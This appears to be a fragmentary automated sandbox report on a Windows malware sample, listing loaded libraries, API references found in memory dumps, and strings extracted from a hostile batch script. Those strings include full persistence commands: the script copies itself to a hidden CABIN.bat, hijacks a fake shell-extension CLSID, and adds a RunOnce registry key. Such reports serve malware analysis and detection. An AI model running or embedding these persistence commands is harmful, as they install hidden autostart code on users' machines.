"explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\Crypt32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter Crypt32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005336)33:T4d05,Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegRestoreKeyW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegLoadKeyW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegUnLoadKeyW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyExW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "IsCharAlphaNumericW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegFlushKey"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "LocalReAlloc"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "NtQueryKey"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.670CB000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00001332.00000000.168324.B501A000.00000002.mdmp")34:T401,file/memory contains long string with (Indicator: "cmd.exe /c"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%APPDATA%\Microsoft\Windows\Templates\CABIN.bat\"" /f >nul 2>&1" (Indicator: "cmd.exe /c"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%USERPROFILE%\AppDa" (Indicator: "cmd.exe /c"; Source: "00000000-00001120-00000C47-38630245206") Found string "cmd.exe /c "%APPDATA%\Microsoft\Windows\Templates\CABIN.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00007332-00000BC1-1553531228") Found string "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%APPDATA%\Microsoft\Windows\Templates\CABIN.bat\"" /f" (Indicator: "cmd.exe /c"; File: "reg.exe")35:T270a,"xist "%APPDATA%\Microsoft\Windows\Templates" mkdir "%APPDATA%\Microsoft\Windows\Templates" >nul 2>&1copy /Y "%~f0" "%APPDATA%\Microsoft\Windows\Templates\CABIN.bat" >nul 2>&1attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\CABIN.bat" >nul 2>&1reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" /ve /t REG_SZ /d "System Shell Extension" /f >nul 2>&1reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f >nul 2>&1reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f >nul 2>&1reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%APPDATA%\Microsoft\Windows\Templates\CABIN.bat\"" /f >nul 2>&1set payment=%TIME:~0,2%%TIME:~3,2%set publication=%USERDOMAIN%for %%i in (%TEMP%) do set punishment=%%iset /a Debate=19 * 2set easily=%CD%set Rule=%OS%rem Checking" in Source: 6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" /ve /t REG_SZ /d "System Shell Extension" /f >nul 2>&1" in Source: 6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f >nul 2>&1" in Source: 6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f >nul 2>&1" in Source: 6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%APPDATA%\Microsoft\Windows\Templates\CABIN.bat\"" /f >nul 2>&1" in Source: 6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" /ve /t REG_SZ /d "System Shell Extension" /f" in Source: 00000000-00001120-00000C47-1932445244 "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f" in Source: 00000000-00001120-00000C47-14307576140 "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apa" in Source: 00000000-00001120-00000C47-26482762622, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%USERPROFILE%\AppDa" in Source: 00000000-00001120-00000C47-38630245206, "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f" in Source: reg.exe, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%APPDATA%\Microsoft\Windows\Templates\CABIN.bat\"" /f" in Source: reg.exe, "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00000696.00000000.166902.2F30F000.00000002.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00000696.00000000.166902.2F30F000.00000002.mdmp, "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" /ve /t REG_SZ /d "System Shell Extension" /f" in Source: 00000000-00000696.00000000.166902.E57D0000.00000004.mdmp, "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" in Source: 00000000-00000696.00000000.166902.E57D0000.00000004.mdmp, 00000000-00000696.00000000.166902.E5960000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, "\Software\C" in Source: 00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "Software\Microsoft\PowerShell\" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, 